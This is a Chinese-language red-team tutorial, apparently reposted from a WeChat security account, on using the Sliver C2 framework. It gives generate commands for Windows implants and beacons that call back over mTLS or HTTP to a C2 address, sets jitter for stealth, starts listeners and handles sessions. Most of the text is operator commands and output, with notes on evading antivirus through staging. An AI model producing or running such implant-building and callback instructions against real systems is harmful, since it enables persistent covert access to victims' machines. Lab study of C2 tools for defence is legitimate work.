点击蓝字 关注我们
免责声明
本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。
如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。
文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。
添加星标不迷路
由于公众号推送规则改变,微信头条公众号信息会被折叠,为了避免错过公众号推送,请大家动动手指设置“星标”,设置之后就可以和从前一样收到推送啦
一、C2的概念
command and control框架允许攻击者充分利用计算机系统或网络的现有访问权限,C2框架通常不会允许访问还没有控制的系统,无论采用什么方法获取权限,后续的操作一般都被称为"后渗透"行为。
Implant
植入物。用于维持对环境或系统的访问的软件的术语,就是一种shell文件,这是攻击者在目标机器上执行并保持访问的代码。也就是一种Agent。
Beacon
信标。可能指植入物定期连接到C2服务器的通信模式,与使用有状态/真实的连接的CS的主要植入物不同(通常被称为CS beacon)。
在Sliver中,会话模式下,植入物会从目标创建永久的网络连接,C2服务器在输入命令后会立即反馈,就像在SSH或powershell上使用一样,但这种长期连接容易引人注意。
而在信标模式下使用的话,植入物会有规律的创建临时网络连接返回到目标,在此期间植入物会进入休眠状态,你的命令不会立即执行,它会被排队等待直到下一次信标检查时执行,这样不太方便,但会让它更隐蔽不那么可疑。
Stage
翻译成"阶段"或者说"分段有效载荷"(stage payload)是通常通过网络将代码段加载到远程机器上的方法。传统上,分段与具有大小限制的攻击结合使用。通常情况下目标执行一小段代码,即"stager",其进而加载更大的一段代码。如今,分段有效载荷仍然以这种方式使用,但是它们也经常用于绕过反病毒检测(AV杀毒软件),因为大多数恶意代码直接加载到内存中。阶段又是是数字的,例如:“阶段0"将加载"阶段1”,其加载"阶段2"的payload。
二、环境说明
Sliver支持几种不同类型的网络连接,都可以用于信标和会话(Beacon和Session),这里我们主要使用双向TLS(即mTLS)网络连接进行演示。
步骤:使用Sliver生成信标和会话的植入物,将它们以网络下载的形式发给目标,然后执行植入物并与C2服务器进行交互。
大致思路和流程如下:
生成植入物-》设置监听-》上传植入物-》运行植入物-》上线Sliver服务端-》客户端操作Session
三、植入物会话
生成植入物使用的命令是generate。
PS:Sliver支持tab补全,这一点很舒服,输入gen然后直接tab就能补全
具体命令详情可查看帮助信息:
sliver > generate -h 帮助信息
或
sliver > help generate
3.1、generate参数解析
监听器
就是Listeners或者说Jobs,Sliver支持的监听器有许多种,生成植入物时,必须指定至少一个C2监听方式,可以是–mtls、–wg、–http、–dns,除此之外还有几个特殊的这里先不展开。
--mtls 192.168.0.253:指定连接方式以及C2 IP
--mtls:双向TLS,指定植入物使用相互验证的TLS连接
--wg:WireGuard
--http:用于http(s)连接
--dns:用于基于DNS的C2
针对mTLS和wg
mTLS是双向认证的意思,是基于1.3的TLS协议简化修改而来,是一种安全可行,用于短链接的安全模式。
wg是WireGuard的意思,下一代内核网络隧道,在第3层运行,作为Linux的内核虚拟网络接口实现,其目标是在大多数情况下取代IPsec,优点如下:
更轻便:以Linux内核模块的形式运行,资源占用小。
更高效:相比目前主流的IPSec、Open[Virtual Private Network]等协议,WireGuard的效率要更高。
更快速:比目前主流的[Virtual Private Network]协议,连接速度要更快。
更安全:使用了更先进的加密技术。
更易搭建:部署难度相对更低。
更隐蔽:以UDP协议进行数据传输,比TCP协议更低调。
不易被封锁:TCP阻断对WireGuard无效,IP被墙的情况下仍然可用。
系统
默认就是Windows。指定生成在Windows、Linux、MacOS上运行的植入物。
--os windows:指定Windows
--os Linux
--os mac:注意,不是macOS
以下命令用于生成一个slip windows可执行文件(PE),该文件将使用双向TLS(即mTLS)回连服务器
generate --mtls foo.example.com
系统位数
默认64位,32位需指定
64位,默认值:--arch amd64
32位,指定设置:--arch 386
植入物格式
默认值就是可执行文件,会根据前面的–os来默认生成,Windows是exe,Linux是elf,mach-o是mac,生成其他类型文件则需要指定。
可执行文件的格式和后缀没有直接关系,Linux和mac上的两者是没有后缀的
指定Windows可执行文件格式:--format exe
保存位置
设置保存的位置,如果不设置则默认保存到当前目录,如果是用客户端生成植入物则会保存在客户端目录。
--save 路径
3.2、生成植入物
支持生成Windows、Linux、MacOS平台的植入物。
generate --mtls <Server IP> --save ./test.exe --os Windows
这里如果不设置文件名和类型,只设置路径会生成 LIVING_PANTY.exe
sliver > generate --mtls 192.168.0.253 --save ./ --os Windows
多协议植入物
Sliver 支持多协议,可以使用多个协议生成植入物, 目的是出现一个协议不通的时候使用其他协议,Sliver 会按照协议优先级进行连接,(优先级:MTLS -> WG -> HTTP(S) -> DNS)
sliver > generate --mtls 192.168.0.253 --http 192.168.0.253 --save ./mult.exe --os windows
3.3、查看植入物列表
输入 implants 会显示生成过的植入物列表
注意:implants会显示之前生成的 Session 和 Beacon 列表,而不仅是Session。
sliver > implants
3.4、设置监听
上面生成的 shell 协议是 mtls ,那么这里直接输入 mtls 设置 mtls 监听。
sliver > mtls
[*] Starting mTLS listener ...
[*] Successfully started job #2
指定端口监听
其他协议也是类似,–协议名就是开启协议的监听,开启的端口是默认端口,如果手动设置了端口的话可以使用 -l 参数指定一下端口
sliver > https -l 448
[*] Starting HTTPS :448 listener ...
[*] Successfully started job #4
查看监听
输入 jobs 可查看目前开启的监听。然后在目标机运行 shell 文件,这边显示上线
sliver > jobs
ID Name Protocol Port
==== ======= ========== ======
1 mtls tcp 8888
3 https tcp 443
4 https tcp 448
关闭监听器
jobs -k ID
演示:
sliver > jobs -k 2
[*] Killing job #2 ...
[!] Job #2 stopped (tcp/mtls)
3.5、Session上线
然后在目标机运行 shell 文件,这边显示Session上线
会话操作
可以使用Session参数或者use参数来对Session进行操作
sliver > sessions #显示所有会话
sliver > sessions -k 4db33d09 #杀死会话4db33d09
sliver > sessions -i 4db33d09 #进入会话4db33d09
sliver > use 31c4e65f #进入会话31c4e65f,可以Tab补全
进入 Session 后就是后渗透操作了
四、植入物信标
上面的Session模式的植入物简单的讲完了,接下来讲一讲Beacon模式的植入物。
也是使用generate beacon
命令,详细信息可以使用help generate beacon
进行查看。
4.1、生成Beacon
--seconds 5:指定信标每5秒钟联系一次C2服务区,也可以使用--minutes, --hours或者--days
--jitter 3:指定应向5秒间隔添加最多3秒的附加随机延迟,这个也是为了增加隐蔽性
生成Beacon信标,其他参数和Session模式一样
sliver > generate beacon --mtls 192.168.0.253 --os windows --arch amd64 --format exe --save ./beacon.exe --seconds 5 --jitter 3
[*] Generating new windows/amd64 beacon implant binary (5s)
[*] Symbol obfuscation is enabled
[*] Build completed in 27s
[*] Implant saved to Sliverbeacon.exe
设置监听,执行Beacon植入物,上线
[*] Beacon 006f6427 FASHIONABLE_PRONUNCIATION - 192.168.0.122:3312 (LAPTOP-admin) - windows/amd64 - Thu, 13 Apr 2023 11:35:31 CST
查看Beacon列表
sliver > beacons
006f6427 FASHIONABLE_PRONUNCIATION 0/0 mtls 192.168.0.122:3312 LAPTOP-admin admin windows/amd64 zh-CN
4.2、使用信标
Beacon模式颜色是蓝色,Session模式颜色是红色。
Beacon也是使用use来操作
sliver > use 006f6427-81d0-4b07-96d0-03e1e7c1bd06
[*] Active beacon FASHIONABLE_PRONUNCIATION (006f6427-81d0-4b07-96d0-03e1e7c1bd06)
sliver (FASHIONABLE_PRONUNCIATION) >
五、信标切换到会话
Sliver 支持信标切换为会话,但目前不支持会话切换为信标。
使用interactive
命令可以做到这个操作,该命令具体信息使用interactive --help
即可查看。
注意:原来的Beacon并不会消失!
进入一个Beacon,将它转换为Session
sliver (FASHIONABLE_PRONUNCIATION) > interactive
六、配置文件
生成植入物需要的参数很多,要设置参数才能生成,但我们可以为常见植入物设置可重复使用的默认配置。
6.1、生成默认配置文件
使用关键字profiles new
即可新建一个植入物配置,例如下面的生成了一个名字叫Session_win_default
的配置文件。
sliver > profiles new --mtls 192.168.0.253 --os windows --arch amd64 --format exe session_win_default
[*] Saved new implant profile session_win_default
6.2、使用默认配置文件
使用profiles generate
,根据配置文件生成新的植入物
sliver > profiles generate --save ./shell.exe session_win_default
6.3、创建信标配置文件
很类似,关键词是profiles new beacon
,创建新的信标配置文件
sliver > profiles new beacon --mtls 192.168.0.253 --os windows --arch amd64 --format exe --seconds 5 --jitter 3 beacon_win_default
使用信标配置文件创建植入物
sliver > profiles generate --save ./ beacon_win_default
参考
https://0x90-1.gitbook.io/sliver/
https://dominicbreuker.com/post/learning_sliver_c2_02_beacons_and_sessions/
原文始发于微信公众号(sechub安全):红队C2工具Sliver(四)| Sliver信标与会话操作
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论